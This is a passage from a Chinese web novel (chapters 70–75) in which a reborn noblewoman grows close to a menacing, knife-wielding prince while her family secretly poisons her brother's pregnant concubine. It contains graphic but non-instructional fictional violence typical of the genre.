苏明沛：“就在这里吃。” 春杏不明所以，还是乖乖把小米粥吃了。 吃完，也开始呕。 苏明沛脸色一下子黑了下来。 谁那么歹毒，竟然要害他的爱妾和长子！ 第70章 蠢笨 “阿梨，你的肚子有没有问题？！”苏明沛捏着拳头，一把将月姨娘抱在怀里。 月姨娘晶莹的泪珠在眼眶里打着转，一脸疑惑：“世子，怎么了世子？” 苏明沛紧紧地抱住月姨娘，恨不得把她揉进身体里：“阿梨，有人想害你！” “啊？”月姨娘懵懂地眨了眨眼：“世子，谁要害我，为什么要害我？怀孕了呕吐不是很正常吗？” 她装得一派天真烂漫，纯洁得宛如一张白纸。 苏明沛忍不住在她脸上亲了亲：“傻阿梨，你怎么这么笨，这哪里是孕吐，这是有人在吃食里加了东西。” 月姨娘小声“啊”了一下，紧紧扯着苏明沛的衣襟，吓得瑟瑟发抖。 “我问你，你中午吃了什么？” 月姨娘想了想：“中午喝了两口玉竹鸡脚汤，然后就想吐。” 苏明沛中午也吃了玉竹鸡脚，那汤一点也不腥，他喝了没有问题。 “那汤呢，还有没有？” 月姨娘：“还剩了一点，准备留着饿了吃。” 苏明沛：“端进来。” 春杏把中午剩的玉竹鸡脚汤端了进来，苏明沛指着汤吩咐春杏：“喝了。” 春杏：“......” 不是，明知有毒还让她喝？ 春杏没动。 苏明沛抿了抿唇，不太高兴。 哪里买的小丫鬟，太没规矩了，主子竟然吩咐不动。 不是家生子就是这点麻烦，一点也养不熟。 “高中呢？”苏明沛夹了出一根鸡脚：“让高中来。” 春杏把高中抱来，高中病恹恹的，见到主子，还是打起精神尾巴慢慢悠悠摇了两下。 苏明沛：“高中这是怎么了？中暑了？” 月姨娘这才捂着嘴，惊讶道：“我中午的时候，给它喂了一只鸡爪。” 话音刚落，高中就开始干呕。 月姨娘这才确定，真的有人要害她。 就算知道有人要害她，她也不知道该怎么办，也不懂愤怒，只会无助地缩在苏明沛怀里掉眼泪。 苏明沛好生心痛。 “苏舒窈，一定是苏舒窈！！”苏明沛咆哮道，“一定是她！” 月姨娘闭着眼翻了个白眼，耐着性子问道：“世子为何如此笃定是大小姐要害妾身？” 苏明沛冷笑一声：“直觉！” 月姨娘：“......” 苏明沛看向春杏：“姨娘今儿有没有见过苏舒窈？” 春杏道：“今儿姨娘散步，走到倚兰居的时候实在是走不动了，秋霜姐姐给姨娘送了杯清茶。” 苏明沛看着怀中兔子一般的人儿：“你喝了？” 月姨娘道：“这杯茶是我去讨来的。世子爷冷静一点，大小姐没管大厨房，这些吃食没过大小姐的手，再说了，无缘无故的，大小姐怎么会害妾身？” “除了苏舒窈，这府上不可能有人会害你！！”苏明沛斩钉截铁：“阿梨你太善良了，这件事你别管，肯定和苏舒窈脱不了干系！” 月姨娘垂着眼眸，抬手揉了揉额头两侧：“世子，这件事能不能先别伸张？” “为什么？” 苏明沛现在就想冲到倚兰居，把倚兰居砸个稀巴烂。 月姨娘：“如果真是大小姐要害妾身，世子也没证据，如果不是大小姐，则是打草惊蛇。世子，我们暗中调查一番，拿到证据再说好不好？” “大小姐不像是会害我的人。” 苏明沛叹了口气：“阿梨，你真的好善良。” “我听你的，这事先不伸张，暗中调查。”苏明沛摸着月姨娘的发丝：“阿梨，你信我，一定是苏舒窈。” “明珠善良，母亲信佛，明芷天真烂漫，尤其是明珠，善良得连蚂蚁都舍不得踩死一只，怎么会害人？” 月姨娘看了人一眼，无奈地低下头来。 你是傻子吗，苏舒窈为什么要害她？苏舒窈害她图什么？ 苏舒窈没有管厨房，怎么能害她？ 这么大个人，怎么就没长脑子。 正在此时，院子外响起敲门声。 来人是苏明珠派来的小丫鬟：“听说月姨娘今日吐的厉害，二小姐知道了很是不安，二小姐派奴婢来问问，要不要请个医师来看看？” 苏明沛点点头：“是该请个医师，去吧，把医师请来。” 小丫鬟走后，苏明沛又道：“看吧，明珠今儿被吓坏了，都还抽空来关心你。你今儿走累了，想去倚兰居歇歇脚，苏舒窈都不让。” “高下立现。” 月姨娘顺着他的心意夸赞：“二小姐待妾身真好。” 世子怎么这么蠢！ 蠢笨如猪。 不过这样也好拿捏。 没一会儿，医师来了，把完脉，医师道：“姨娘没什么大问题，孕吐原本就是孕早期正常现象。开了安胎的方子吃了就没事了。” 这医师是苏明珠找来的，医师开的药，月姨娘可不敢吃。但为了不让对方看出来，月姨娘还是让春杏去煎药。 送走苏明沛，月姨娘无奈地摇了摇头。 以为找了个依靠，没想到不仅是个破落户，还是个缺根筋的傻子。 要靠他保护，等她坟上长草了，他都还不知道害她的人是谁呢。 这府上，只有大小姐算得上一个正常人。 ~ 倚兰居。 苏舒窈遣退丫鬟，早早歇了下去。 吴妈妈落在面前的时候，苏舒窈确实被吓了一大跳。 一闭上眼，便是吴妈妈那张扭曲的脸，鲜血顺着眼睛、鼻子、耳朵流出来...... 看到吴妈妈遭受这样的惩罚，她在害怕的同时，竟然觉得很爽。 一种酥麻的感觉，沿着背脊，一直从脚趾爽到了后颈。 她腿软、心跳加速、双颊染红......她又害怕，又兴奋。 异样的感情刺激着神经，浑身颤栗。 上一世，她一直按照闺训，努力成为长辈眼中的名门淑女，从不行差踏错，一举一动严格遵循长辈的想法。 她那么乖巧听话，依然被厌弃。 这一世，她想换一个活法。 忽然，临床的窗户发出“吱呀”的声响。 窗户被推开，月光从窗棱里倾斜，好似在地上撒下一层薄霜。 “啪嗒——” 一团黑色的物什从窗外抛了进来，正好落在床边。 今晚的月光明亮，很容易看清地上是什么东西。 那是一整块头皮，黏糊糊的，还沾着血。 第71章 恐吓 一股浓烈又刺鼻的血腥气蔓延开来。 胃部翻涌阵阵恶心，苏舒窈难受地连皱了好几下眉头。 如果她没猜错，九皇子殿下来了。 九皇子今天带来的东西，她不太喜欢。 脏污、血腥、恶心。 不像短刀和长剑那般干净华丽。 她睡在床上没动。 “哐当——”又一样东西被扔了进来。 一个染血的银镯子。 苏舒窈认识，那是吴妈妈最爱的银镯子。 那块头皮，应该是吴妈妈的。 紧接着，房间内传来一道清冷的脚步声。 苏舒窈感受到一阵阴寒，整个房间的温度冷了下来。 “喵——” 床边的三花猫全身毛炸开，朝着脚步的方向发出一声凄厉的惨叫。 动物总是能提前感知危险，三花回头看了眼苏舒窈，一双圆眼在黑夜里闪过恐惧的光。 紧接着。三花一跃而起，从窗户跳了出去。 黑暗里发出一声诡异的轻笑。 脚步声停在床边，苏舒窈不得不睁开眼，坐了起来。 楚翎曜站在床边。 月光漫过雕花窗棱，斜斜地洒在肩上，将玄色锦袍浸染成银灰。 他眉眼精致，鼻梁高挺，嘴角挂着一丝若有若无的浅笑。 明明是在笑，明明宛若仙人下凡，却因为出现的时机和地点不合时宜，让人不寒而栗。 好似开在地狱的曼陀罗，昳丽却危险。 九殿下站着，苏舒窈不可能坐着，她从床上站了起来。 楚翎曜厌恶肢体触碰，旁人的靠近让他产生憎恨、排斥。 尤其是裸露在外的皮肤被碰到，像是被砂纸摩擦，光是想象，便让他心中充满了愤怒的杀意。 这个大胆的女人，竟然几次三番挑战他的底线。 就算被吓死，也是这个女人应得的报应。 他今天过来，是来收网的。 投了那么多饵，猎物早该被吓疯了吧。 楚翎曜冷静地打量着人。 苏舒窈穿得很清凉，一件肚兜，一条亵裤。长发如瀑布般披散在肩前，遮挡住雪白的前臂。 楚翎曜微微勾起唇角，狭长的眸子渐渐黑沉。 就算见惯了宫中的嫔妃，他也不得不承认，苏舒窈很美，美得不可方物。 越是漂亮的美人，受到刺激之后表现出的失控越是赏心悦目。 她会发狂、尖叫、甚至会被吓尿...... 楚翎曜静静地等着欣赏苏舒窈的丑态。 但，苏舒窈脸上的情绪始终淡淡的：“殿下，这么晚了，怎么还没休息？” 她没问地上的头皮，也没问他为什么出现在这里，情绪稳定地和他闲聊家常。 “你不怕？” 楚翎曜从身后拿出一把银色的弯刀。 这是一把剥皮刀，吴妈妈的头皮，就是这把刀剥下来的。 相对于之前那把短刀和长剑，这把剥皮刀没有那么华丽，刀身有些粗犷。 剥皮刀上还带着血，仔细看就会发现，不止有血，还有发丝、肉渣...... 苏舒窈的胃部再次泛起一阵恶心。 她忍不住干呕了一声。 看到苏舒窈的反应，楚翎曜嘴边的微笑加深了几个幅度。 “你好像很喜欢收集兵器。”楚翎曜伸出手，将剥皮刀递到苏舒窈面前。 苏舒窈摇摇头：“殿下，我不喜欢收集兵器，是您总是忘记把兵器带走。” 说实话，她希望今天楚翎曜不要跑得那么快，走的时候至少带走这柄剥皮刀。 剥皮刀太脏了，她不想要。 楚翎曜冷笑一声，抬起手，将刀刃对准了苏舒窈的头。 “你总是想方设法激怒本王？” 楚翎曜往前一步，刀刃就离苏舒窈更近一分。 当刀刃即将碰上鼻尖的时候，苏舒窈往后退了一步。 楚翎曜狭长的眸子弥散出一抹笑意。 没有一个人不怕死。 苏舒窈也怕死。 她之前的镇定，全是在死装。 他今日做好了充足的准备，揭穿她的伪装。 苏舒窈一步一步往后退，楚翎曜一步一步往前紧逼。 直到后背抵上了床柱。 退无可退。 苏舒窈呼吸急促起来，脸颊也微微涨红。 她实在是不想被剥皮刀碰到。 “道歉、求饶。” 低沉的声音响起，是九殿下发出的命令。 苏舒窈疑惑，根据她的观察，九皇子殿下喜洁，不喜欢旁人触碰，更不可能握着这样一柄脏污的剥皮刀。 她的视线顺着剥皮刀蜿蜒，停在楚翎曜的手上。 楚翎曜戴了一双银色的手套。 不知道手套用了什么材质，将他的手贴合得很紧，她甚至能看到手背隆起的青筋。 苏舒窈的呼吸再次加重。 她想触碰那双戴着银色手套的手，十指交扣。 然后亲手脱下那双手套，再细细把玩对方的手指。 喉头上下一滚，苏舒窈忍不住吞咽了一口口水。 剥皮刀就要碰到鼻尖。 “母亲从未抱过我。”苏舒窈淡淡地说道：“从小到大，一次也没有。” “但她会抱明芷妹妹，也会抱两个哥哥，就是不会抱我。” 苏明沛比她大六岁，苏舒窈四岁的时候，苏明沛已经十岁，万氏还是会时常将他抱在怀里。 四岁的她，很是羡慕。 她走过去，朝着母亲伸出双手。 万氏把她推开，表情嫌恶地让吴妈妈把她带走。 四岁明明那么小，什么都记不住，她却偏偏记住了万氏抱着苏明沛的场景，和万氏推开她时紧皱的眉头。 楚翎曜没想到她会说出这样的话，有种被戏弄的感觉。 他举起刀，猛地插了过去。 苏舒窈闭上眼睛，剥皮刀插进了她身后的床柱，离她的脸颊，只有不到一指的距离。 她能清晰地闻到刀刃上的血腥味儿。 再次皱了皱眉。 楚翎曜居高临下、冷冷地打量着人。 “本王让你求饶，没让你讲述擅自拥抱本王的理由！” 苏舒窈仰起头，清晰地感受到对方的鼻息。 楚翎曜很愤怒，鼻息带着一股热气。 急促、滚烫。 她深吸了一口气，闻到了熟悉的松木香。 比起剥皮刀上的血腥味，楚翎曜身上的气味可真是太好闻了。 苏舒窈闭上眼睛，再次深吸一口气。 殿下可真好闻啊。 楚翎曜退后了一步。 这个大胆的女人，这个时候，竟然还敢闻他！ 她是真的一点也不怕？！ 楚翎曜心中的愤怒达到了顶点，恨不得现在就剥下她的头皮。 第72章 歇在这里 苏舒窈开口问道：“殿下这么讨厌拥抱，是小时候被拥抱太多吗？” 楚翎曜长得好，又聪慧，听说他过目不忘，是几个皇子中功课最好的。 他小时候肯定很多人喜欢他吧。 皇帝、母妃、宫里的嬷嬷都爱他，他是得到了太多的爱，才厌恶拥抱的吗？ 苏舒窈：“我好羡慕殿下。” 漂亮的眸子闪过一丝忧郁。 楚翎曜别扭地侧过头，努力让嗓音染上一抹冰冷：“亲本王，又是怎么一回事？” 他问出口的一瞬，便后悔了。 苏舒窈肯定会说出让他愤怒的句子。 苏舒窈抬眼看过去，漂亮的眸子闪着微光：“想对殿下示好，求殿下不要杀我，可是，我不太懂怎么示好，所以亲了殿下。” 她没接受过爱，不懂该怎么表达爱，那是在身体缺氧状态下意识反应。 亲吻，是她在笨拙地表达爱意。 楚翎曜站在原地，一双眸子染上了寒霜。 他嗜血残忍，但他不蠢。 相反，他极其聪慧，甚至过目不忘。 他不信这个理由。 镇抚司的诏狱里，关押了太多的人，他见过形形色色的人。大部分人在面对酷刑与死亡，更多的是求饶，展现出人性深层的丑与恶。 没人会在面临死亡的时候还想着示爱。 荒谬又虚伪。 “殿下不喜欢？” 楚翎曜没说话，只是冷冷地看着人。 “殿下是在思考该要怎么惩罚我吗？”苏舒窈没有得到回答，继续开口。 楚翎曜点了点头。 确实，他在思考怎么惩罚她。 狠狠地折磨她，让她再也不敢如此胆大妄为、尊卑不分。 他有一千种折磨人的法子。 苏舒窈在侯府不受重视，就算失踪、死亡，也没有人会在意。 她在侯府的地位，还比不上侯夫人身边的脸的管事媳妇。 正在思忖间，苏舒窈上前一步，主动握住了楚翎曜的手。 为了防止人逃跑，她还用了一点力。 不知道是不是用力的缘故，楚翎曜没有挣扎。 在这一瞬间，周围的空间仿佛凝固。 气温骤降。 楚翎曜的呼吸停滞了，心跳却陡然加快，一颗滚烫的心脏仿佛要从喉间崩出来。 “谢谢殿下。” 楚翎曜的手很大，手指很长，苏舒窈顺着手掌攀上去，脱掉了手上银色的手套。 一双漂亮的、骨节分明的手裸露出来。 这只手，曾经拿过短刀、长剑、剥皮刀。 苏舒窈还记得，这只手握住兵刃，悬在她眼前的样子。 苍白、有力、青筋暴起。 这只手曾经掐过她的咽喉。 掐着她的咽喉的时候，这只手也是这么好看吧。 她好喜欢这只手。 殿下的手，应该也很好闻吧。 要是条件允许，她已经把这只手放在鼻翼前方，仔细闻一闻。 想到这里，苏舒窈的呼吸忽然加快，脸上热气蒸腾，手指不自觉插进指缝，与这只漂亮的右手十指紧扣。 另一只手顺着手掌往上，捏上了楚翎曜的手臂。 手臂紧实，不知道是因为紧张还是其他什么原因，手臂肌肉崩得很紧。 楚翎曜厌恶肢体的接触，面对深度的肢体接触，却有些茫然无措。 这一次，他没有逃跑。 也许是前两次逃跑太过丢脸，楚翎曜咬紧牙关，生生忍了下来。 忽然，门外响起敲门声。 “大小姐，你的窗户怎么打开了？是有什么钻进来了吗？”秋霜的声音。 楚翎曜压低声音：“放开，你不想让丫鬟看到你现在的样子吧？” 未出阁女子的闺房里，忽然多了个大男人，她还和大男人十指紧扣。 要是被人看见，传出去是会被浸猪笼的。 苏舒窈舍不得放开，她笑了笑：“放心，秋霜很听话，没我的允许，不会进来。” 秋霜的声音再次响起：“大小姐，你房中有人？” 苏舒窈：“没人，是猫把窗户撞开了。你早点休息，我马上就睡了。” “是，大小姐。”秋霜果然很听话，离开的时候，还把窗户关上了。 秋霜离开后，楚翎曜低垂着眼帘，看着十指紧扣的双手，再次发问：“你又在耍什么花招？” “你以为这样，本王就会放弃对你的惩罚？” “我只是想谢谢殿下。”苏舒窈轻声道：“谢谢殿下帮我惩罚了吴妈妈。” 楚翎曜像只炸毛的兽，脸上浮现出一抹恼意：“你误会了，本王并不是在帮你。” “你难道没看出来，本王是在给你制造麻烦？” 他虽然愤怒，却没有挣开被握住的手。 苏舒窈明明是一个弱女子，却轻易钳制住了一个有力的男子。 苏舒窈低头笑了。 给她制造麻烦，有一千种办法，为什么偏偏选择杀了吴妈妈。 吴妈妈前脚让她跪祠堂，她跪下去还没一盏茶的时间，吴妈妈就死了。 楚翎曜就是在帮她。 “你笑什么？” “我笑，殿下跟我一样。”也不懂怎么表达爱。 苏舒窈觉得自己可能想错了，也许，楚翎曜根本就没得到过爱。 皇宫里面没有真爱，他那么早慧，从小便活在尔虞我诈里，怎么会感受到爱呢？ 他究竟遭遇了什么，才会如此扭曲、疯癫？ 他表面不喜触碰，其实内心深处是渴望接触的吧。 像现在，双手交叠，手指与手指，完全贴合在一起，密不透风。 握紧的双手出了汗，黏腻、湿滑，一个真正厌恶皮肤接触的人，早就受不了了。 楚翎曜却依然乖乖站在原地。 苏舒窈有些怀疑，楚翎曜被她亲过一次之后，便隔山岔五找借口上门，就是为了被她触碰。 苏舒窈轻声道：“多谢殿下，帮我解决了一个大麻烦。” “我正愁不知道怎么处理吴妈妈。” “都说了不是帮你，你别这么愚蠢，错把恶意当成好意......”楚翎曜低下头，冷冷地盯着两人交握的手：“如果本王真的帮了你，你就这样感谢本王？” 苏舒窈贴上去，紧紧地将人抱住。 她将头埋进楚翎曜怀中，重重地吸了一口气。 好似两只抱在一起取暖的小兽一般亲密无间。 “殿下，这样可以吗？” 楚翎曜浑身僵硬。 他的呼吸变得急促、燥热，身体某个地方的血液变得滚烫、沸腾。 他的脑子快要爆炸。 闻着熟悉的松木香气，苏舒窈感受到一种前所未有的安全感。 重活一世，虽然她表现出非同常人一般的镇定，夜深人静之时，还是会惶恐。 上一世被毒害的经历，让她随时绷紧了神经。 在她的干扰下，这一世很多事都和上一世不一样了。 在对付侯府主子的时候，她每次都留有余力，不敢下死手。 她害怕他们狗急跳墙，不顾脸面也要致她于死地。 她更怕他们伤害她在意的人。 现在好了，有了殿下的帮忙，她可以肆意报复。 她仰起头，重复道：“殿下，这样可以吗？” 楚翎曜抬起左手，抓住苏舒窈的肩膀。 他想把人推开，推到一半，又松开了手。 “放开，天色已晚，本王要回府休息了。” 明明轻易就能挣脱开来，偏偏要趾高气昂地下命令。 苏舒窈轻声道：“殿下，要不就在这里休息？” 第73章 牵手 楚翎曜开始愤怒。 这个女人不仅轻浮，而且浪荡，明明身上有婚约，还堂而皇之要求和别的男子同床共枕。 也不知道有多少男的上过她的当？ 这个虚伪的女子，一定是被他的皮囊所吸引。 跟大多数肤浅的女子一样，只见过一面，便非他不嫁。 当他拿着滴血的刀，送上血淋淋的手指或是脚趾，他们又会吓得花容失色，噩梦连连。 唯一不一样的是，苏舒窈的胆子似乎要大很多。 她不怕血，也不怕利刃，不怕死人...... 威胁杀了她全家，她还会兴奋...... 她究竟怕什么？ 楚翎曜第一次感受到这样一种深重的挫败感，还是在一个手无缚鸡之力的女人手上。 他决定留下来，看看这个女人还要在他面前耍什么花招。 这样也能近距离观察，看看这个女人究竟害怕什么？ 冰冷的视线再次落在苏舒窈脸上，好似阴暗墙角潜伏的毒蛇，无声地吞吐着暗紫色信子。 苏舒窈感觉，被他注视的皮肤微微有些发麻，一股战栗感从脚底慢慢蔓延全身。 她并没有其他意思，只是想和他多待一会儿。 可是楚翎曜的样子不太情愿，全身上下都写满了抗拒。 她想问，这么不情愿，为什么不离开？ 她只是牵了他的手，并没有用铁链将他锁住，他甚至无需用力，便能轻易挣脱。 可是她没有问，她明白，她一旦问出口，楚翎曜一定会像上次一样，转瞬就逃跑得毫无踪影。 她好似在诱拐一只野性十足的小兽。 这只小兽敏感、警惕、疯狂、嗜血......集合了一切不可控的因素。 她需要足够耐心，趁他不注意掐住他的后劲皮，让他安静下来，然后任由他用一双漂亮的阴冷的眼眸死死地盯着她。 苏舒窈牵着他的手，躺到床上。 那把剥皮刀不知道什么时候又回到了楚翎曜手里。 他将剥皮刀插进两人中间的床板里，转头，阴森地盯着人。 那样子好似在说：“本王奉劝你，别越界。” 苏舒窈闭上眼。 不用想，床单和床垫定然被弄坏弄脏了。 剥皮刀那么脏，床上的所有物品她都不准备继续使用了。 九殿下的破坏力比三花猫强了不少。 什么时候才能将他完全驯服，让他别再胡乱使用利刃，这些利刃真的很危险。 神奇的是，虽然肮脏的剥皮刀就插在她身边，她依然睡得很安慰。 几乎是躺下没多久，她便睡了过去。 睡在九殿下身边，很凉爽。 中途的时候，脸上传来一阵冰冷的触感，她睁开眼，楚翎曜正拿着一把匕首，虎视眈眈地盯着她。 雪白的刀刃横在她眼前。 苏舒窈吓得汗毛都竖了起来。 不会是那把剥皮刀吧。 想到剥皮刀上残留的污渍，苏舒窈胃部涌起一抹恶心。 连吸了好几口气，才缓过来。 小兽又炸毛了。 为什么？她明明安抚好了啊？ 她低头一看，发现两人牵着的手不知道什么时候松开了。 也许是睡得太熟，不知不觉放开了。 苏舒窈摸索着，握住楚翎曜捏着匕首那只手，重新牵了上去。 脸上的匕首被拿开，苏舒窈看清了，不是剥皮刀，是一把干净的匕首。 她长舒一口气。 要是被剥皮刀上的碎肉抹了脸，她肯定睡不了，又要起来洗脸，闹出很大动静。 楚翎曜说不定会再次逃跑。 幸好。 楚翎曜把匕首留在了苏舒窈枕边，不知道是为了提醒她别越轨，还是提醒她别轻易松开手。 苏舒窈睡得不错。 早上醒来，手上空无一物，身边也没有楚翎曜的身影。 苏舒窈抬手一摸，身侧的床垫还留有余温。 楚翎曜刚离开没多久。 这一次，楚翎曜又留下了一些东西——床板上插着的那把剥皮刀。 地上的头皮不见了，只剩一滩血迹。 贴着脸的那把匕首也被带走了。 这一回，楚翎曜走得倒是从容。 楚翎曜的力气很大，插得很深，苏舒窈废了好大的力才将剥皮刀拔出来。 弄完之后，她叫人进来打扫，“把地上的血迹打扫了，再把这把刀拿去洗干净。” 秋霜看到地上的血迹，吓得腿软：“大小姐，这、这是怎么回事？半夜闯了歹人进来？” 苏舒窈怕吓到秋霜，撒谎道：“昨夜进来一只大老鼠，我失手把老鼠打死了。” “昨晚窗户是被大老鼠撞开的啊......”秋霜更加害怕了：“大小姐，房间进了大老鼠，你怎么不叫我，快让我看看，您被咬伤没有？” “多大一只老鼠，听那些老人说，老鼠长太大，可是会成精的，老鼠死了没有，要是没死，可是会来报复的，老鼠咬人可痛了。” 秋霜拉着苏舒窈的手，翻来覆去检查。 检测完手脚，又检查脖子，脸，没有看到一点疤痕，秋霜才长松一口气。 苏舒窈：“放心，打死了。” 秋霜：“那老鼠的尸体呢，我拿去埋了。” 苏舒窈：“好像被霜染叼走了。” ——霜染，三花猫的名字。 秋霜连连跺脚：“哎呀，那得给霜染洗澡了！霜染不喜欢洗澡，前天洗澡的时候，叫的那个凄惨，要三个人才能按住它。” 房梁上，楚翎曜站在暗处，静静地看着人。 他没猜错，她果然满嘴谎言。 胆子真是大，竟敢将他比喻成大老鼠。 苏舒窈在他心里，又多了一个缺点。 他又多了一个恐吓她的理由。 “大小姐，大老鼠上了床没有？要是上了床，床上的东西要全部换一遍，这屋子也要重新打扫一遍。医师说了，老鼠身上有疫病。大小姐，打开窗户通通风吧。” 秋霜说着，忽然觉得身后传来一道诡异的视线，后背一凉，浑身汗毛直竖。 她转头一看，什么都没看到：“大小姐，你这间屋子怎么这么凉？” 苏舒窈笑了笑，“凉不好吗？天气这么热，凉一点正好。” “去吧，叫人把床上的东西全换了。” 话音刚落，苏舒窈也感受到熟悉的阴冷的视线。 黏糊湿冷，后颈上皮肤好似被潮湿沼泽的水蛭吸附，凉意顺着脊柱往下淌。 “算了，把床上的东西拿去洗一洗，这么热的天，一天就能干，干了再铺上吧。” 这话说完，后背的阴湿感瞬间消失。 苏舒窈叹了口气，这只小兽真的很爱炸毛。 第74章 捆绑 春景园小佛堂，一尊鎏金佛像闪着金光，佛像前的三角铜制香炉里，香烟袅袅升起。 万氏不会委屈自己，花钱去别的铺子买了檀香。 闻到熟悉的香气，心头的郁结消散了些许。 吴妈妈的死，就像是跌入湖面的巨石，看似溅起的水花大，岸边围观者湿了满身衣裳。 但随着巨石沉入湖底，衣裳晒干，就好像一切都没有发生过一样。 万氏把吴妈妈的死归咎到礼佛不诚心上，换了檀香，她的心重新安定下来。 就是吧，现在买香花的是她自己的银子，肉痛。 不过快了，拿到月姨娘的嫁妆，之前的亏空就能弥补了，还能去南街多买几个铺子。 万氏跪在蒲团上，默念了好几声阿弥陀佛。 “心诚则灵。” 苏明珠跪在万氏旁边。 她匍匐在地，额头磕在地上，表现出极大的诚意。 “月姨娘那边什么情况？”万氏扶着丫鬟的手，站起身，继续双手合十。 苏明珠抬起头，在蒲团上跪直了身体。 上一世，虽然她参与了毒杀苏舒窈，但她不是主谋，只是起了一个推波助澜的作用。 但这一回，她亲自动手，内心难免慌乱。 诚心礼佛之后，心慌的症状明显好转。 “母亲放心，月姨娘并没有察觉到任何异样。” 万氏拿起佛龛前供奉的佛珠套在自己手上，“我听说，昨晚明沛和月姨娘一起用了晚膳，就怕稍有不慎害了明沛。” 苏明珠道：“母亲放心，今后我会注意，给月姨娘送汤，只送孕妇专用的汤羹，大哥不会喝的。” 苏明珠了解苏明沛，苏明沛遗传威远侯，极度要面子，女子孕妇的汤羹，他就算饿死，都不会碰一下。 万氏：“那就好。” 苏明珠又道：“再加上医师开的药，不出半个月......” 到时候月姨娘神不知鬼不觉的就没了，一个妓子，随便找个地方埋了就是。 过段时间，威远侯府娶妓子的事便会被人淡忘，传出去，也是浪子回头金不换。 ~ 浮光阁，苏明沛一早就来探望月姨娘。 “阿梨，府上的吃食，你先别用，我派人悄悄到外面给你买。” 苏明沛说完，才想起自己没钱。 自从万氏掌家之后，他一个月五两月银，还不够他打赏身边的小厮。 说实话，还是苏舒窈掌家的时候好，公中的银子随便支取。 不像现在，他堂堂侯府世子，竟然也有捉襟见肘的一天。 想到这里，苏明沛摇了摇头。 他是绝对不会去求苏舒窈的，只等他科举入仕，自然能挣来万贯家财。 现在虽然有些艰难，只要熬过就好了。 他有赚银子的法子。 房间里的多宝阁上，摆放的全是好东西，随便拿一样出去换钱，都能支撑到科举结束。 他把明画叫来，指着多宝阁上一个画珐琅山水图双耳炉：“把这个拿去当铺。” 明画问道：“世子，当多少合适？” 苏明沛：“随便当两百两吧。” 这个双耳炉当初好像买成五百两，他很是喜欢。 等科举入仕之后挣了钱，再让人赎回来。 明画抱着画珐琅山水图双耳炉出去，小半个时辰之后，又原封不动抱了回来：“世子，当铺掌柜说，这个是假货，最多值一两银子，当铺不收。” 苏明沛眉心一皱，“怎么可能，这可是本世子亲自去买回来的！” 他将多宝阁上的瓶瓶罐罐挨个检查了一番，仔细一看，竟然全都是赝品。 苏明沛直接去了万氏屋子，“母亲，这府上出了贼！” 万氏带着人排查，除了万氏房间里的物品没被换，其他主子房里的摆设全都被换成了赝品。 “苏舒窈，定然是苏舒窈！！” 还没调查出证据，苏明沛便捏着拳头就去了倚兰居。 倚兰居内，苏舒窈正在看着丫鬟给霜染洗澡。 三花小猫对洗澡很是抗拒，但又挣脱不了，喉咙里发出低沉的咕噜声，听起来像是在骂人。 三花小猫和某人越看越像。 苏舒窈开口劝道：“别骂了，马上洗完了，乖乖的，洗完就放开你。” 霜染趁着丫鬟们不注意，挣脱开，溅了大家一身是水。 正在这时，苏明沛的叫喊声在院子外响起。 “苏舒窈，你给本世子滚出来！” 苏舒窈坐在摇椅上，慢慢悠悠地摇着蒲扇。 这么热的天，还发这么大的火，也不嫌热。 苏明沛都冲到面前来了，苏舒窈眼皮都没动一下：“世子又是怎么了？” 她有时都怀疑，世子究竟是不是万氏亲生的。 万氏伪善，十分擅于伪装，威远侯表面道貌岸然，实际是伪君子。 夫妻俩都是阴险的性格，偏偏苏明沛像个炮仗，走哪炸哪儿。 苏明沛一把将苏舒窈从摇椅上拽起来，狠声道：“说，是不是你把府上的瓷器全部换了？！” 苏舒窈皮肤嫩，被苏明沛拽着的地方有些痛：“侯府摆设，不是吴妈妈在管？” “吴妈妈？”苏明沛扔开苏舒窈的手，径直闯进了正房。 多宝阁上器物，早被苏舒窈换了，就为了预防今天的事发生。 苏明沛检查了半天，发现多宝阁上全是赝品之后，心头的火气泄了一半：“难道真是吴妈妈？” 吴妈妈现在死了，死无对证。 九皇子帮她解决了好大一个麻烦， 下次见面，定要好生感谢他。 苏舒窈淡淡一笑：“之前我就说过，吴妈妈贪墨府中财物，应该早早赶出去的。” 苏明沛忽然想起，对啊，苏舒窈之前想撵人，是苏明珠将吴妈妈保了下来。 苏明沛可不肯承认苏舒窈的远见，他恼羞成怒将多宝阁推翻，多宝阁上的器物落在地上，发出乒铃乓啷的脆响。 苏舒窈：“怎么？发现罪魁祸首不是我，世子很失望？” 苏明沛冷笑一声，“你说是就是？都还没调查清楚！” 苏舒窈淡淡一笑：“既然没调查清楚，为何跑我院子里撒野？当我好欺负？” 苏明沛不肯承认理亏，转移话题道：“昨儿阿梨走累了，想进来休息，你也不准，你就是这样对待嫂子的？” 不管怎么样，苏明沛总是能给她强加错处。 苏舒窈淡笑一声，“世子厌恶我，要是月姨娘在我院子里出了好歹，哦，不对，就算不是在我院子里出的好歹，世子也要嫁祸到我身上。” “世子，我这叫做避嫌。” 苏明沛怒骂道：“你能不能盼着点阿梨好！真是恶毒！” 说完，苏明沛风风火火跑了。 苏舒窈看着屋子里一地残渣，眉心微皱。 ~ 当天晚上，苏舒窈刚躺到床上，就听得“砰”的一声巨响。 苏明沛被绑着，被扔到了苏舒窈面前。 苏舒窈：“......” 第75章 小狗叼来猎物 苏明沛手脚被绑着，头上不知道戴了个什么刑具，他看不见，也说不出话来。 楚翎曜拖着苏明沛身上的绳子，一步一步朝着她走过来。 地上留下一滩长长的血迹。 楚翎曜把人扔到床边，然后冷冷地盯着苏舒窈。 嘴边噙着一抹若有似无的笑，好似在嘲讽：这样一个蠢人都杀不死，还敢在本王面前耍花招？ 苏舒窈只觉得头皮发麻，身上寒毛倒竖。 九殿下怎么又炸毛了？ 霜染有时候也会叼一些死麻雀、死鼹鼠放在她床边，与她分享猎物。 霜染应该是觉得她很弱，不会打猎，怕她饿死。 楚翎曜和霜染不同，他是更具野性的兽，毫无规则，杀戮全凭心情。 对上楚翎曜那双森然冷漠的眼睛，苏舒窈忍不住打了个寒颤。 每次楚翎曜一出场，周围的气温就会自动下降，让人浑身发冷。 她深吸了好几口气，才勉强让心情平复。 苏明沛开始挣扎，因为恐惧，喉咙里发出呜咽。 “再吵把你舌头割了。”冰冷的声音响起。 苏明沛依然在挣扎。 楚翎曜上前捣鼓了一下他头上的刑具，只听“咔哒”一声清响，苏明沛马上不动了，也不吵了。 苏舒窈看着苏明沛抖了一下，紧接着，他身上传来一股尿骚味。 苏明沛被吓尿了。 苏舒窈皱了皱眉。 大晚上的，又不能让丫鬟进来清扫，弄得臭乎乎的，怎么睡觉？ 还好楚翎曜身上是干净的。 他戴了手套。 